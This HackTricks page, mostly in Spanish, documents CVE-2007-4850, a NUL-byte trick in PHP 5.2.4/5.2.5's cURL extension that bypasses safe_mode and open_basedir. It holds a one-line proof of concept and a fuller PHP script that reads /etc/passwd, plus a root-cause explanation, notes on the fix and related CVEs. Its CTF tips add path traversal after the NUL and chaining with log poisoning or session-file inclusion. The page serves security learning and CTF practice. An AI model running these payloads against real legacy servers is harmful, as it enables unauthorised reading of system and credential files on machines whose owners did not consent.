PHP 5.2.4 y 5.2.5 PHP cURL

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta página documenta un truco legacy pero aún útil en CTFs/instalaciones locales para eludir las comprobaciones PHP safe_mode/open_basedir usando la extensión cURL en compilaciones específicas de PHP 5.2.x.

  • Affected: PHP 5.2.4 y 5.2.5 con ext/curl habilitado.
  • Impact: Leer archivos locales arbitrarios a pesar de las restricciones de safe_mode o open_basedir (sin ejecución de código directa).
  • ID: CVE-2007-4850.

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

PoC de una línea

Si safe_mode o open_basedir están activos y cURL está habilitado, lo siguiente devolverá el contenido del script actual:

var_dump(curl_exec(curl_init("file://safe_mode_bypass\x00".__FILE__)));

PoC más explícito (lectura arbitraria de archivos)

<?php
// Preconditions (legacy): PHP 5.2.4/5.2.5, safe_mode or open_basedir enabled, ext/curl loaded
$target = '/etc/passwd'; // change to the file you want to read
$ch = curl_init();
// The trick is the NUL byte (\x00). Prefix can be any string; checks are confused and the file after the NUL is read.
curl_setopt($ch, CURLOPT_URL, 'file://prefix'.chr(0).$target);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$resp = curl_exec($ch);
$err  = curl_error($ch);
curl_close($ch);
if ($resp !== false) {
echo $resp; // should contain the target file
} else {
echo "cURL error: $err\n";
}
?>

Notas:

  • Use double quotes or chr(0) to inject a real NUL byte. Percent-encoding (%00) will not work reliably.
  • This is a file read primitive. Combine with other primitives (log poisoning, session file inclusion, etc.) for further escalation when possible.

Por qué funciona (breve)

La vulnerabilidad radica en cómo PHP 5.2.4/5.2.5 realizaba las comprobaciones de safe_mode/open_basedir para URLs file:// en ext/curl. La comprobación analizaba el URL y validaba un componente de ruta, pero debido al manejo de NUL-byte validaba una cadena distinta a la que realmente usaba libcurl. En la práctica, el validador podía aprobar la ruta después del NUL mientras libcurl usaba la parte antes del NUL como contenedor del URL, permitiendo un bypass que resulta en la lectura del archivo situado después del byte NUL. See the original analysis and the affected macro in curl/interface.c for details. [CVE-2007-4850].

Restricciones y correcciones

  • Fixed in later 5.2.x (e.g., distro builds patched to 5.2.6) by correcting the parsing/validation in ext/curl.
  • Only affects very old PHP deployments; safe_mode was removed in PHP 5.4 and modern builds do not exhibit this behavior.

Bypass históricos relacionados basados en cURL

  • CVE-2006-2563 (PHP 4.4.2/5.1.4): libcurl wrappers allowed file:// access with embedded NULs to bypass open_basedir; fixed before 5.2.x.
  • PHP bugs #30609/#36223 tracked early cURL open_basedir issues using file:// without canonicalization. Any check before the NUL byte or without realpath-style resolution is prone to the same truncation.

Consejos para CTF

  • When you identify PHP 5.2.4/5.2.5 with ext/curl loaded (look for cURL support => enabled in phpinfo() and the exact PHP Version), this trick usually works even if allow_url_fopen is disabled because ext/curl handles file:// itself.
  • If direct paths are blocked, try relative traversal after the NUL, e.g. file://x\x00../../../../etc/passwd. The traversal is resolved by libcurl, not by the open_basedir guard.
  • You can wrap the payload in a single HTTP request body to trigger the LFI through vulnerable server-side code that mirrors user-controlled URLs into curl_exec() (common in legacy SSRF-like endpoints).

See also

Other disable_functions/open_basedir bypasses and modern techniques are collected here:

HackTricks

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks